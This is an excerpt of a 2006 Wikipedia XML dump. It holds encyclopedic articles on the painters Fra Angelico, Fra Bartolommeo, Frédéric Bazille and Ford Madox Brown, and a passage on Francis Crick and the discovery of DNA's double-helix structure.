*[http://www.british-horn.org British Horn Society]
*[http://www.hornplayer.net hornplayer.net]
*http://www.brass-forum.co.uk UK brass discussion forum
*[http://www.public.asu.edu/~jqerics/horn_links.htm Professor John Q. Ericson's Horn Links]
*[http://www.public.asu.edu/~jqerics/articles_online.htm Some online horn articles]
*[http://www.boerger.org/horn Ron Boerger's &quot;Horn Players' FAQ&quot;]
*[http://www.hornexcerpts.org/ An online collection of horn orchestral excerpts]
*[http://www.cosmos-club.org/journals/1999/bowles.html How the valved horn emerged from the early Industrial Revolution]
*[http://www.hornroller.com HornRoller.com, News from the Hornosphere]
*[http://www.brassmusic.ru Brassmusic.Ru — Russian brass community]
*[http://www.french-horn.be French-horn.be, belgian horn community]

[[Category:Brass instruments]]
[[Category:Musical instruments]]

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  <page>
    <title>Fra Angelico</title>
    <id>11457</id>
    <revision>
      <id>42063441</id>
      <timestamp>2006-03-03T15:34:14Z</timestamp>
      <contributor>
        <username>Cantara</username>
        <id>40343</id>
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      <minor />
      <comment>/* Biography */</comment>
      <text xml:space="preserve">'''Il Beato   Fra Giovanni Angelico da Fiesole''' (&quot;the Beatified Friar John the Angelic of Fiesole&quot;) ([[Vicchio di Mugello]], [[Florence]] [[1395]] &amp;ndash; [[Rome]] [[February 18]] [[1455]]), better known in the English-speaking world as '''Fra Angelico''' (&quot;the Angelic [[Friar]]&quot;), or in [[Continental Europe]] as '''Beato Angelico''' (&quot;the Blessed Angelic One&quot;) was a famous painter of the [[Florentine]] state in the [[15th century]], the most famous representative of [[pietistic]] painting. He is often, but not accurately, termed simply &quot;Fiesole,&quot; which is merely the name of the town where he first took the vows. His life was described in [[Giorgio Vasari]]'s ''Vite''.

[[image:fra.angelico.church.750pix.jpg|thumb|200px|'''[[Saint Lawrence]] receives&lt;br&gt; the treasures of the Church''', painted [[1447]].]]

== Biography ==

He was born '''Guido di Pietro''', at Vicchio, in the [[Tuscany|Tuscan]] province of [[Mugello]], near [[Fiesole]] towards the end of the [[14th century]], of unknown but seemingly well-to-do parentage, and was baptized Guido or Guidolino (friars used to change their name when entering the orders). Still a young boy he asked for admittance at the convent of San Domenico in [[Florence]], where [[Dominican Order|Dominican]] friars were known for their rigid rules (and were called &quot;the Observers&quot;). He completed his [[novitiate]] in [[Cortona]] in [[1408]] and became a full Dominican monk in [[Florence]] about [[1418]] with the name of &quot;Fra Giovanni da Fiesole&quot;; &quot;The Angelic&quot; is a laudatory term which was assigned to him at an early date and which we find in use within thirty years after his death, but he was not properly [[beatification|beatified]] until [[1984]].

Before becoming a friar, he and his brother were trained as manuscript makers: Fra Angelico originally received training as an illuminator. The painter [[Lorenzo Monaco]] may have contributed to his art training, and the influence of the [[Sienese school]] is discernible in his work. He had several important charges in the [[convent]]s he lived in, but this did not limit his art, which very soon became famous. He had the patronage of [[Cosimo de' Medici]]. According to [[Vasari]], the first paintings of this artist were in the [[Certosa]] of [[Florence]]; none such exist there now.

== Early works ==

Among his early works are the [[Annunciation]] of Cortona, the ''Coronation of the Virgin'' in the convent of Fiesole, and the ''Deposition of Christ'' executed for the Church of the [[Holy Trinity]] in [[Florence]], paintings that Vasari indicated as &quot;painted by a saint or an angel&quot;.

His earliest extant performances, in considerable number, are at Cortona, to which he was sent during his novitiate, and here apparently he spent all the early years of his monastic life. His first works executed in [[fresco]] were probably those, now destroyed, which he painted in the convent of S. Domenico in this city; as a fresco-painter, he may have worked under, or as a follower of, [[Gherardo Starnina]]. From [[1418]] to [[1436]] he was back at Fiesole; in 1436 he was transferred to the Dominican convent of S. Marco in Florence.

In the convent of San Marco, in the years [[1438]] to [[1445]], Fra Giovanni lived with St. [[Antoninus Pierozzi]]. Here he decorated the cells, the hall of the Chapter, the corridors, the [[colonnade]], the church [[altarpiece]]; he may have studied about this time the renowned frescoes in the [[Brancacci]] chapel in the Florentine church of the Carmine and also the paintings of [[Orcagna]].

== Rome ==

In [[1445]], after the success of these works he was invited to Rome by the pope [[Eugenius IV]], who reigned from [[1431]] to [[1447]]. He appointed another Dominican friar, a colleague of Angelico, to be [[archbishop]] of Florence in [[1445]]. If the story (first told by Vasari) is true—that this appointment was made at the suggestion of Angelico only after the archbishopric had been offered to him, and declined by him on the grounds of his inaptitude for so elevated and responsible a station.

Eugenius, and not (as stated by Vasari) his successor [[Pope Nicholas V]], must have been the pope who sent the invitation and made the offer to Fra Giovanni, for Nicholas only succeeded in 1447. The whole statement lacks authentication, though in itself credible enough. It is certain that Angelico was staying in Rome in the first half of 1447; and he painted in the [[Vatican City|Vatican]] the ''Cappella del Sacramento'', which was afterwards demolished by [[Paul III]]. In June 1447 he proceeded to [[Orvieto]], to paint in the Cappella Nuova of the cathedral, with the cooperation of his pupil [[Benozzo Gozzoli]]. In [[1450]], Fra Angelico became Prior of the convent of San Marco and later Archbishop of Florence. He afterwards returned to Rome to paint the chapel of Nicholas V, and died in Rome in 1455, where he lies buried in the church of S. Maria sopra Minerva. He decorated many of the rooms of the Dominican convent of San Marco in Florence, including many of the individual cells.  

He used to say &quot;He who does [[Christ]]'s work must stay with Christ always&quot;. This motto granted the epithet &quot;Blessed Angelico&quot;, &quot;''because of the perfect integrity of his life and the almost divine beauty of the images he painted, to a superlative extent those of the [[Blessed Virgin Mary]] ([[Pope John Paul II]], [[1982]])''&quot;.

[[Image:Frangelo.JPG|thumb|The Annunciation was one of the subjects Fra Angelico most frequently treated]]

== Cause for canonization ==

According to all the accounts which have reached us, few men on whom the distinction of beatification has been conferred could have deserved it more nobly than Fra Giovanni. He led a holy and self-denying life, shunning all advancement, and was a brother to the poor; no man ever saw him angered. He painted with unceasing diligence, treating none but sacred subjects; he never retouched or altered his work, probably with a religious feeling that such as divine providence allowed the thing to come, such it should remain. He was wont to say that he who illustrates the acts of Christ should be with Christ. It is averred that he never handled a brush without fervent prayer and he wept when he painted a [[Crucifixion]]. The [[Last Judgment]] and the [[Annunciation]] were two of the subjects he most frequently treated.

Bearing in mind the details already given as to the dates of Fra Giovanni's sojournings in various localities, the reader will be able to trace approximately the sequence of the works which we now proceed to name as among his most important productions. In Florence, in the convent of S. Marco (now converted into a national museum), a series of frescoes, beginning towards [[1443]]; in the first [[cloister]] is the Crucifixion with [[Dominic de Guzman|St. Dominic]] kneeling; and the same treatment recurs on a wall near the [[dormitory]]; in the [[chapterhouse]] is a third Crucifixion, with the Virgin swooning, a composition of twenty life-sized figures (the original blue sky, painted on top of a red ground, has unfortunately chipped away); an ''Annunciation'', the figures of about three-quarters life-size, in a dormitory; in the adjoining passage, the ''Virgin enthroned'', with four saints; on the wall of a cell, the ''Coronation of the Virgin'', with [[Paul of Tarsus|Saint Paul]], [[Thomas Aquinas]], [[Saint Benedict]], Dominic, [[Saint Francis]], and [[Saint Peter Martyr]]; two Dominicans welcoming Jesus, dressed as a [[pilgrim]]; an ''Adoration of the Magi''; and the ''Marys at the Sepulchre''. All these works are later than the altarpiece which Angelico painted (as before mentioned) for the choir connected with this convent, and which is now in the academy of Florence; it represents the Virgin with [[Sts. Cosmas and Damian|Saint Cosmas and Saint Damian]] (the patrons of the [[Medici]] family), Dominic, Peter, Francis, Mark, John Evangelist and Stephen; the pediment illustrated the lives of Cosmas and Damian, but it has long been severed from the main subject. In the [[Uffizi Gallery]], an altarpiece, the Virgin (life-sized) enthroned, with the [[Child Jesus|Infant]] and twelve angels. In S. Domenico, Fiesole, a few frescoes, less fine than those in S. Marco; also an altarpiece ''in [[tempura]]'' of the Virgin and Child between Saints Peter, Thomas Aquinas, Dominic and Peter Martyr, now much destroyed. The subject which originally formed the [[predella]] of this picture has, since [[1860]], been in the [[National Gallery, London]], and worthily represents there the hand of the saintly painter. The subject is a Glory, Christ with the banner of the [[Resurrection]], and a multitude of saints, including, at the extremities, the saints or ''beati'' of the [[Dominican order]]; here are no fewer than 266 figures or portions of figures, many of them having names inscribed. This ''predella'' was highly lauded by Vasari; still more highly another picture which used to form an altarpiece in Fiesole, and which now obtains world-wide celebrity in the [[Louvre]]—the ''Coronation of the Virgin'', with eight predella subjects of the miracles of St. Dominic. 

For the church of the Santa Trinità in Florence, Angelico executed a ''Deposition from the Cross'', and for the church of the Angeli, a ''Last Judgment'', both now in the Florentine Academy; for S. Maria Novella, a ''Coronation of the Virgin'', with a predella in three sections, now in the Uffizi: this is one of his masterpieces. In Orvieto cathedral he painted three triangular divisions of the ceiling, portraying respectively Christ in a glory of angels, sixteen saints and prophets, and the Virgin and [[Twelve Apostles|Apostles]]: all these are now much repainted and damaged. In Rome, in the Chapel of Nicholas V, the acts of Saints Stephen and Lawrence; also various figures of saints, and on the ceiling the four [[evangelist]]s. These works of the painter's advanced age, which have suffered somewhat from restorations, show vigour superior to that of his youth, along with a more adequate treatment of the [[architectural]] perspectives. Naturally, there are a number of works currently attributed to Angelico, but not really his; for instance, a ''St Thomas with the Madonna's girdle'', in the [[Lateran]] museum, and a ''Virgin enthroned'', in the church of S. Girolamo, Fiesole. It has often been said that he commenced and frequently practised as an [[illuminator]]; this is dubious and a presumption arises that illuminations executed by Giovanni's brother, Benedetto, also a Dominican, who died in [[1448]], have been ascribed to the more famous artist. Benedetto may perhaps have assisted Giovanni in the frescoes at S. Marco, but nothing of the kind is distinctly traceable. A folio series of engravings from these paintings was published in Florence, in [[1852]]. Along with Gozzoli already mentioned, [[Zanobi Strozzi]] and [[Gentile da Fabriano]] are named as pupils of Angelico.

We have spoken of Angelico's art as &quot;pietistic&quot;; this is in fact its predominant character. His visages have an air of rapt suavity, devotional fervency and beaming [[esoteric]] consciousness, which is intensely attractive to some minds and realizes beyond rivalry a particular ideal—that of ecclesiastical saintliness and detachment from secular fret and turmoil. It should not be denied that he did not always escape the pitfalls of such a method of treatment, the faces becoming sleek and prim, with a smirk of sexless religiosity which hardly eludes the artificial or even the hypocritical; on other minds, therefore, and these some of the most masculine and resolute, he produces little genuine impression. After allowing for this, Angelico should nevertheless be accepted beyond cavil as an exalted typical painter according to his own range of conceptions, consonant with his [[monastic]] calling, unsullied purity of life and exceeding devoutness. Exquisite as he is in his special mode of execution, he undoubtedly falls far short, not only of his great naturalist contemporaries such as [[Masaccio]] and [[Lippo Lippi]], but even of so distant a precursor as [[Giotto di Bondone|Giotto]], in all that pertains to bold or life-like invention of a subject or the realization of ordinary appearances, expressions and actions—the facts of nature, as distinguished from the aspirations or contemplations of the spirit. Technically speaking, he had much finish and harmony of [[composition (visual arts)|composition]] and color, without corresponding mastery of light and shade, and his knowledge of the human frame was restricted. The brilliancy and fair light scale of his [[tint (visual arts)|tints]] is constantly remarkable, combined with a free use of [[gilding]]; this conduces materially to that celestial character which so pre-eminently distinguishes his pictured visions of the divine persons, the hierarchy of heaven and the glory of the redeemed.

==See also==

* [[List of painters]]
* [[List of Italian painters]]
* [[List of famous Italians]]
* [[Early Renaissance painting]]

==References==

{{1911}}
* [[William Michael Rossetti|Rossetti, William Michael]]. Angelico, Fra. ''[[1911 Encyclopædia Britannica]]''.
* Hood, William. ''Fra Angelico at San Marco''. Yale University Press, 1993.
* Morachiello, Paolo. &quot;Fra Angelico: The San Marco Frescoes&quot;. Thames and Hudson, 1990. ISBN 0500237298

==External links==
{{Commons|Fra Angelico}}
* [http://www.beatoangelico.org/ Fondazione Beato Angelico]
* [http://www.abcgallery.com/A/angelico/angelico.html Fra Angelico at Olga's Gallery]
* [http://www.metmuseum.org/special/se_event.asp?OccurrenceId={9EA9FDD7-13DF-45D7-B7A0-313276A5996C}&amp;HomePageLink=special_c2a Fra Angelico Exhibition] at the [[Metropolitan Museum of Art]], (October 26, 2005–January 29, 2006).
* [http://www.thenation.com/doc/20060206/danto &quot;Soul Eyes&quot;] Review of the Fra Angelico show at the Met, by [[Arthur C. Danto]] in [[The Nation (U.S. periodical)|The Nation]], (January 19, 2006).

==Gallery==
&lt;gallery&gt;
Image:Fra_Angelico_001.jpg|Madonna on a Throne (1428-1430)
Image:Fra_Angelico_002.jpg|The Naming of St. John the Baptist (1434-1435)
Image:Fra_Angelico_005.jpg|The Flight into Egypt (c.1450)
Image:Fra_Angelico_006.jpg|Annunciation (c. 1450)
Image:Fra_Angelico_024.jpg|Christ in Limbo (c.1437-1446)
Image:Fra_Angelico_025.jpg|Christ Being Nailed to the Cross (c.1437-1446)
Image:Fra_Angelico_026.jpg|Christ on the Cross between the Two Thieves (c.1437-1446)
Image:Fra_Angelico_027.jpg|Longinus Piercing Christ's Side with a Lance (c.1437-1446)
Image:Fra_Angelico_038.jpg|Coronation of the Virgin (c.1437-1446)
Image:Fra_Angelico_039.jpg|Noli me tangere (c.1437-1446)
Image:Fra_Angelico_040.jpg|Baptism of Christ (c.1437-1446)
Image:Fra_Angelico_049.jpg|Annunciation with Saint Dominic (c.1437-1446)
&lt;/gallery&gt;

[[Category:1395 births|Angelico]]
[[Category:1455 deaths|Angelico]]
[[Category:Natives of Tuscany|Angelico]]
[[Category:Beatified people|Angelico]]
[[Category:Italian painters|Angelico]]
[[Category:Renaissance painters|Angelico]]
[[Category:Roman Catholic Church art]]

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[[uk:Ангеліко Фра]]</text>
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  <page>
    <title>Fra Bartolommeo</title>
    <id>11458</id>
    <revision>
      <id>40699486</id>
      <timestamp>2006-02-22T11:30:21Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
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      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">[[Image:BartolomeoVirginBernard.JPG|thumb|right|250px|''The Vision of [[Bernard of Clairvaux|St Bernard]]''  ''ca'' 1504 ([[Uffizi]])]]
{{commonscat|Fra Bartolomeo}}
'''Fra Bartolommeo''' or '''Fra Bartolomeo''' ([[March 28]], [[1472]] in [[Florence, Italy]] &amp;ndash; [[October 31]], [[1517]] in [[Florence, Italy]]) born '''Baccio della Porta''' was a [[Florence|Florentine]] [[Renaissance]] artist.

He likely apprenticed under [[Cosimo Rosselli]].  In the late [[1490s]] Baccio became aware of the teachings of [[Girolamo Savonarola|Fra Girolamo Savonarola]].  Savonarola denounced what he viewed at the corruption of contemporary art and instead argued that it should serve as a visual stand-in for the [[Bible]] for the education of the illiterate.  In [[1498]] Baccio took holy orders as a [[Dominican Order|Dominican]] [[friar]] and took the name Fra Bartolommeo.  He gave up painting for several years, not resuming until [[1504]] when he became the head of the monastery workshop in obedience to his superior.

He had not long resumed it when [[Raphael]] came to Florence and formed a close friendship with him. Bartolommeo learned from the younger artist the rules of perspective, in which he was so skilled, while Raphael owes to the improvement in his colouring and handling of drapery, which was noticeable in the works he produced after their meeting. In the early [[1500s]] his work was influenced by the return to Florence of [[Leonardo da Vinci]] and [[Michelangelo Buonarroti]].  Their influence on Bartolommeo's paintings is evident in the contrasts between his earlier works and works from this period in their composition, figure presentation and dress. With Raphael, he remained on the most friendly terms, and when he departed from Rome, left in his hands two unfinished pictures which Raphael completed.

Fra Bartolommeo's figures had generally been small and draped. These qualities were alleged against him as defects, and to prove that his style was not the result of want of power, he painted the magnificent figure of [[St Mark]] (his masterpiece, at Florence), and the undraped figure of [[St Sebastian]]. The latter was so well designed, so naturally and beautifully coloured, and so strongly expressive of suffering and agony, that it was found necessary to remove it from the place where it had been exhibited in the chapel of a convent. The majority of Bartolommeo's compositions are altar-pieces. They are remarkable for skill in the massing of light and shade, richness and delicacy of colouring, and for the admirable style in which the drapery of the figures is handled, Bartolommeo having been the first to introduce and use the lay-figure with joints.
==External links==
* [http://www.artist-biography.info/artist/fra_bartolommeo/ Biography from Artist-Biography.info]

==Sources==
* {{cite book
 | last = Vaughn | first = William
 | title = Encyclopedia of Artists
 | publisher = Oxford University Press, Inc.
 | year = 2000
 | id = ISBN 0-19-521572-9
 }}

[[Category:1472 births|Fra Bartolomeo]]
[[Category:1517 deaths|Fra Bartolomeo]]
[[Category:Dominicans|Fra Bartolomeo]]
[[Category:Italian painters|Fra Bartolomeo]]
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  <page>
    <title>Frédéric Bazille</title>
    <id>11459</id>
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      <text xml:space="preserve">[[Image:Bazzile selfPortrait.jpg|thumb|200px|''Self-Portrait.'' [[1865]]&amp;ndash;[[1866]]. Frédéric Bazille. Oil on canvas. [[Art Institute of Chicago]].]]
('''Jean''') '''Frédéric Bazille''' ([[December 6]], [[1841]] &amp;ndash; [[November 28]], [[1870]]) was an [[Impressionism|impressionist]] painter and soldier best known for his depiction of figures.

Born in [[Montpellier]], [[Hérault]], [[France]], into a middle-class [[Protestant]] family, Bazille began studying medicine in [[1862]] when he met [[Pierre-Auguste Renoir]] and was drawn to impressionist painting.

[[image:BazilleFamilyReunion.jpeg|thumb|left|350px|Family Reunion.]]
His friends included [[Claude Monet]], [[Alfred Sisley]], and [[Édouard Manet]]. Born to a wealthy family, Bazille helped support some of these artists by giving them space in his studio and materials to use.

Bazille was just 23 years old when he painted several famous works, including ''The Pink Dress''. His best known painting is a ''Family Reunion'' ([[1867]]-[[1868]]). 

Frédéric Bazille's career was cut short when he was killed in action in [[Beaune-la-Rolande]], [[Loiret]] during the [[Franco-Prussian War]].

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  <page>
    <title>Ford Madox Brown</title>
    <id>11460</id>
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      <text xml:space="preserve">[[Image:Brown_last_of_england.jpg|thumb|right|200px|''The Last of England'', 1855]]

'''Ford Madox Brown''' ([[April 16]], [[1821]] &amp;ndash; [[October 6]], [[1893]]) was an English painter of moral and historical subjects, notable for his distinctively graphic and often [[Hogarth]]ian version of the [[Pre-Raphaelite]] style.  While he was closely associated with the Pre-Raphaelite Brotherhood, he was never actually a member.  Nevertheless, he remained close to [[Dante Gabriel Rossetti]], with whom he also joined [[William Morris]]'s design company, [[Morris, Marshall, Faulkner &amp; Co.]], in 1861.  

One of his most famous images is &quot;The Last of England&quot;, a portrait of a pair of stricken immigrants as they sail away on the ship that will take them from England forever.  It was inspired by the departure of the Pre-Raphaelite sculptor [[Thomas Woolner]], who had left for [[Australia]].  The painting is structured with Brown's characteristic linear energy, and emphasis on apparently grotesque and banal details, such as the cabbages hanging from the ship's side.  

[[Image:Brown_work.jpg|thumb|left|250px|''Work'']]

Brown's most important painting was ''Work'' (1852&amp;ndash;1865), which he showed at a special exhibition. It attempted to depict the totality of the mid-[[Victorian era|Victorian]] social experience in a single image, depicting 'navvies' digging up a road, and disrupting the old social hierarchies as they did so.  The image erupts into proliferating details from the dynamic centre of the action, as the workers tear a hole in the road &amp;ndash; and, symbolically, in the social fabric.  Each character represents a particular social class and role in the modern urban environment. Brown wrote a catalogue to accompany the special exhibition of ''Work.'' This publication included an extensive explanation of ''Work'' that nevertheless leaves many questions unanswered.

Brown's major achievement after ''Work'' was the cycle of twelve paintings depicting the history of Manchester, England in [[Manchester Town Hall]].  These present a partly ironic and satirical view of Mancunian history. 

His son '''Oliver Madox Brown''' ([[1855]]&amp;ndash;[[1874]]) showed promise both as an [[artist]] and [[poet]], but died of blood-poisoning.

He was the grandfather of novelist [[Ford Madox Ford]] and great-grandfather of [[Labour Party (UK)|Labour]] [[Home Secretary]] [[Frank Soskice]].

== See also ==
*[[British art]]
*[[English school of painting]]

== External links ==
*[http://www.ibiblio.org/wm/paint/auth/brown/ The iBiblio Web Museum exhibit on Brown] 
*Some of his paintings in the [http://cgfa.sunsite.dk/b/b-14.htm#brown Carol Gerten Fine Art] library
*[http://www.liverpoolmuseums.org.uk/walker/collections/19c/brown.asp Waiting: An English fireside of 1854&amp;ndash;5]
*Spartacus Educational: [http://www.spartacus.schoolnet.co.uk/Jford.htm Ford Madox Brown]
*[http://www.britainunlimited.com/Biogs/BrownF.htm Chronology on Britain Unlimited]
*[http://www.stainedglassphotography.com/Galleries/Morris/Morris5.htm Some stained glass designs by Ford Madox Brown]

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  <page>
    <title>Francis Crick</title>
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      <text xml:space="preserve">Professor '''Francis Harry Compton Crick''', [[Order of Merit|OM]] [[Fellow of the Royal Society|FRS]] ([[8 June]], [[1916]] &amp;ndash; [[28 July]], [[2004]]) was a [[United Kingdom|British]] [[physics|physicist]], [[molecular biology|molecular biologist]] and [[neuroscience|neuroscientist]], most noted for being one of the co-discoverers of the structure of the [[DNA]] molecule in 1953.  He, [[James D. Watson]], and [[Maurice Wilkins]] were jointly awarded the 1962 Nobel Prize for Physiology or Medicine ''for their discoveries concerning the molecular structure of nucleic acids and its significance for information transfer in living material''{{ref|nobel1}}.  

[[Image:Francis Crick lecturing.jpg|thumbnail|right|350px|Photomontage of Francis Crick lecturing]]
=== Biography, Family and education===
Born in [[Northamptonshire]], [[England]] as a son of Harry and Anne Elisabeth Crick (nee Wilkins), he studied [[physics]] at [[University College London]], and obtained a [[Bachelor's degree|B.Sc.]] in [[1937]]{{ref|mad}}. During [[World War II]], he worked on the design of magnetic and acoustic [[Naval mine|mine]]s; 
he began studying [[biology]] in 1947 after the war's end.

Crick was born and raised in [[Weston Favell]] near the town of Northampton where Crick’s father and uncle ran the family’s boot and shoe factory. At an early age he was attracted to science and what he could learn about it from books. As a child he was taken to church ([[Congregationalist]]) by his parents, but by about age 12 he told his mother that he no longer wanted to attend{{ref label|mad|2|a}}. Crick preferred the scientific search for answers over belief in any  dogma. He was educated at Northampton [[Grammar schools in the United Kingdom|Grammar School]] (now [[Northampton School For Boys]]) and, after the age of 14, [[Mill Hill School]] in London (on scholarship) where he studied [[mathematics]], [[physics]] and [[chemistry]].  At the age of 21, Crick earned a [[Bachelor of Science|B.Sc. degree]] in physics from [[University College London]] (UCL). Unfortunately he had failed to gain a place at a Cambridge college as he wanted to, probably through falling foul of their requirement for Latin; his contemporaries in British DNA research Rosalind Franklin and Maurice Wilkins both went to Cambridge colleges, i.e. to [[Newnham College, Cambridge|Newnham]] and [[St John's College, Cambridge|St. John's]] respectively. Cambridge was the subsequent pinnacle of his long scientific career, but he left Cambridge in 1977 after 25 years, having been offered (and he refused) the Mastership of a college.    

Crick began a [[Doctor of Philosophy|Ph.D.]] research project in the laboratory of physicist Edward Neville da Costa Andrade but with the outbreak of World War II, Crick was deflected from a possible career in physics. After the war, Crick became part of an important migration of physical scientists into [[biology]] research. This migration was made possible by the newly won influence of physicists such as [[Sir John Randall|John Randall]] who had helped win the war with inventions like [[radar]]. Crick had to adjust from the “elegance and deep simplicity” of physics to the “elaborate chemical mechanisms that natural selection had evolved over billions of years.” He described this transition as, “almost as if one had to be born again.” According to Crick, the experience of learning physics had taught him something important - hubris - and the conviction that since physics was already a success, great advances should also be possible in other sciences like biology. Crick felt that this attitude encouraged him to be more daring than typical biologists who mainly concerned themselves with the daunting problems of biology and not the past successes of physics. For the better part of two years Crick worked on the physical properties of [[cytoplasm]] at Cambridge's Strangeways Laboratory, headed by Honor Bridget Fell, with an MRC studentship, until he joined [[Max Perutz|Perutz]] and [[John Kendrew|Kendrew]] at the [[Cavendish Laboratory|Cavendish]]. The Cavendish Laboratory at Cambridge was under the general direction of [[William Lawrence Bragg|Sir Lawrence Bragg]], a Nobel Prize winner at the age of 25 in 1915; Bragg was influential on the determination of [[DNA]]'s structure to beat the leading American chemist [[Linus Pauling]] to the discovery. At the same time Bragg's Cavendish Laboratory was also effectively competing with King's College London under Sir John Randall. (Randall had turned down Francis Crick from working at King's College, London.)

===Biology Research===
{{Double helix3|Name=&lt;big&gt;'''Francis Crick'''&lt;/big&gt;}}
Crick was interested in two fundamental unsolved problems of biology. First, how [[molecule]]s make the transition from the non-living to the [[Life|living]], and second, how the [[brain]] makes [[mind]]. He realized that his background made him more qualified for research on the first topic and the field of [[biophysics]]. It was at this time of Crick’s transition from physics into biology that he was influenced by both Linus Pauling and [[Erwin Schrödinger]]. It was clear in theory that [[covalent bond]]s in biological molecules could provide the structural stability needed to hold [[Genetics|genetic]] information in cells. It only remained as an exercise of experimental biology to discover exactly which molecule was the genetic molecule. In Crick’s view, [[Charles Darwin]]’s theory of [[evolution]] by [[natural selection]], [[Gregor Mendel]]’s genetics and knowledge of the molecular basis of genetics, when combined, reveal the secret of life.

It was clear that some [[macromolecule]] such as [[protein]] was likely to be the genetic molecule. However, it was well known that proteins are “doers”, macromolecules that carry out the many [[Enzyme|enzymatic]] reactions of cells. In the 1940’s some evidence had been found pointing to another macromolecule, DNA, the other major component of [[Chromosome|chromosomes]], as a candidate genetic molecule. [[Oswald Avery]] and his collaborators showed that a [[phenotype|phenotypic]] difference could be caused in [[bacteria]] by providing them with a particular DNA molecule.

[[Image:Myoglobindiffraction.png|thumb|left|An X-ray diffraction image for the protein myoglobin.]]
However, other evidence was interpreted as suggesting that DNA was structurally uninteresting and possibly just a molecular scaffold for the apparently more interesting protein molecules. Crick was in the right place, in the right frame of mind, at the right time (1949) to join [[Max Perutz|Max Perutz’s]] project at [[University of Cambridge|Cambridge University]], and he began to work on the [[X-ray crystallography]] of proteins. X-ray crystallography theoretically offered the opportunity to reveal the molecular structure of large molecules like proteins and DNA, but there were serious technical problems then preventing X-ray crystallography from being applicable to such large molecules.

=== X-ray crystallography 1949-1950 ===
Crick taught himself the mathematical theory of X-ray crystallography. During the time when Crick was learning about X-ray diffraction, researchers in the Cambridge lab were attempting to determine the most stable helical conformation of amino acid chains in proteins (the α helix). Pauling was the first to identify the 3.6 amino acids/turn ratio of the α helix. Crick was witness to the kinds of errors that his co-workers made in their failed attempts to make a correct molecular model of the α helix; these turned out to be important lessons that could be applied to the helical structure of DNA. For example, he learned the importance of the structural rigidity that [[Double bond#Rigidity|double bonds]] confer on molecular structures which is relevant both to [[peptide bond]]s in proteins and the structure of [[nucleotide]]s in DNA.

[[Image:FirstSketchOfDNADoubleHelix.jpg|thumb|150px|[[Francis Crick]]'s first sketch of the [[deoxyribonucleic acid]] double-helix pattern]]

=== The Double Helix 1951-1953 ===
In 1951, together with W. Cochran and V. Vand, Crick helped to work out a mathematical theory of X-ray diffraction by a helical molecule.  This theoretical result matched well with X-ray data obtained for proteins that contain sequences of [[amino acid]]s in the [[Alpha helix]] conformation (published in [[Nature (journal)|Nature]] in 1952){{ref|crickpubs}}. Helical diffraction theory turned out to also be useful for understanding the structure of DNA.

Late in [[1951]], Crick started working with [[James D. Watson]] at [[Cavendish Laboratory]] at the [[University of Cambridge]] in England. Building on the [[X-ray crystallography|X-ray diffraction]] results of [[Maurice Wilkins]], [[Raymond Gosling]] and [[Rosalind Franklin]] of King's College London, Watson and Crick together developed a model for a helical structure of DNA, which they published in [[1953]]{{ref|helix}}, and for which  they were awarded the [[Nobel Prize in Physiology or Medicine]] in [[1962]], jointly with [[Maurice Wilkins]]{{ref|nobel}}.

When [[James D. Watson]] came to Cambridge, Crick was a 35 year old graduate student and Watson was only 23, but he already had a Ph.D. They shared an interest in the fundamental problem of learning how genetic information might be stored in molecular form. Watson and Crick talked endlessly about DNA and the idea that it might be possible to guess a good molecular model of its structure. A key piece of experimentally-derived information came from X-ray diffraction images that had been obtained by Maurice Wilkins and his student, [[Raymond Gosling]]. In November 1951 Wilkins came to Cambridge and shared his data with Watson and Crick. Alexander Stokes (another expert in helical diffraction theory) and Wilkins (both at King's College) had reached the conclusion that X-ray diffraction data for DNA indicated that the molecule had a helical structure. Stimulated by Wilkins and a talk given by [[Rosalind Franklin]] about her work on DNA, Crick and Watson produced and showed off an erroneous first model of DNA. Watson, in particular thought they were competing against Pauling and feared that as for the protein α helix, that Pauling might win the race to determine the structure of DNA.

''Many have speculated about what might have happened had Pauling been able to travel to Britain as planned in 1952. He might have seen some of the Wilkins/Gosling/Franklin X-ray diffraction data and it may have led him to a double helix model. As it was, his political activities caused his travel to be restricted by the U. S. government and he did not visit the UK.'' Watson and Crick were not officially working on DNA. Crick was writing his Ph.D. thesis. Watson also had other work such as  trying to obtain crystals of [[myoglobin]] for X-ray diffraction experiments. In 1952 Watson did X-ray diffraction on [[tobacco mosaic virus]] and found results indicating that it had helical structure. Having failed once, Watson and Crick were now somewhat reluctant to try again and for a while they were ''forbidden'' to make further efforts to find a molecular model of DNA.
{{Template:Single strand DNA discovery2}}
Of great importance to the model building effort of Watson and Crick was Rosalind Franklin's understanding of basic chemistry which indicated that the [[hydrophilic]] phosphate backbones of the [[nucleotide]] chains of DNA should be positioned so as to interact with water molecules on the outside of the molecule while the [[hydrophobic]] bases should be packed into the core. Franklin shared this chemical knowledge with Watson and Crick when she pointed out to them that their first model (1951, with the phosphates inside) was obviously wrong.

Crick described the failure of Maurice Wilkins and [[Rosalind Franklin]] to cooperate and work towards finding a molecular model of DNA as a major reason why he and Watson eventually made a second attempt to make a molecular model of DNA. They asked for and received permission to do so from both Bragg and Wilkins. In order to construct their model of DNA Watson and Crick made use of information from unpublished X-ray diffraction images (shown at meetings and shared by Wilkins) and preliminary accounts of Franklin's detailed analysis of the X-ray images that were included in a written  progress report for the King's College laboratory of John Randall from late 1952.  

It is a matter of debate if Watson and Crick should have had access to Franklin's results before she had a chance to formally publish the results of her detailed analysis of her X-ray diffraction data that were included in the progress report. In an effort to clarify this issue, Perutz later published{{ref|PerutzandWatson}} what had been in the progress report, and suggested that nothing was in the report that Franklin herself had not said in her talk (attended by Watson) in late 1951. Further, Perutz explained that the report was to a Medical Research Council committee that had been created in order to &quot;establish contact between the different groups of working for the Council&quot;. Randall's and Perutz's labs were both MRC funded
laboratories.

It is also not clear how important Franklin's unpublished results that were in the progress report actually were for the model building done by Watson and Crick. After the first crude X-ray diffraction images of DNA were collected in the 1930s, [[William Astbury]] had talked about stacks of nucleotides spaced at 3.4 angstrom (0.34 nanometre) intervals in DNA. A citation to Astbury's earlier X-ray diffraction work was one of only 8 references in Franklin's first paper on DNA{{ref|franklin}}. Analysis of Astbury's published DNA diffraction data and the better X-ray diffraction images collected by Wilkins, Gosling and Franklin revealed the helical nature of DNA. It was possible to predict the number of bases stacked within a single turn of the DNA helix (10 per turn; a full turn of the helix is 27 angstroms [2.7 nm] in the compact A form, 34 angstroms [3.4 nm] in the wetter B form). Wilkins shared this information about the B form of DNA with Crick and Watson.

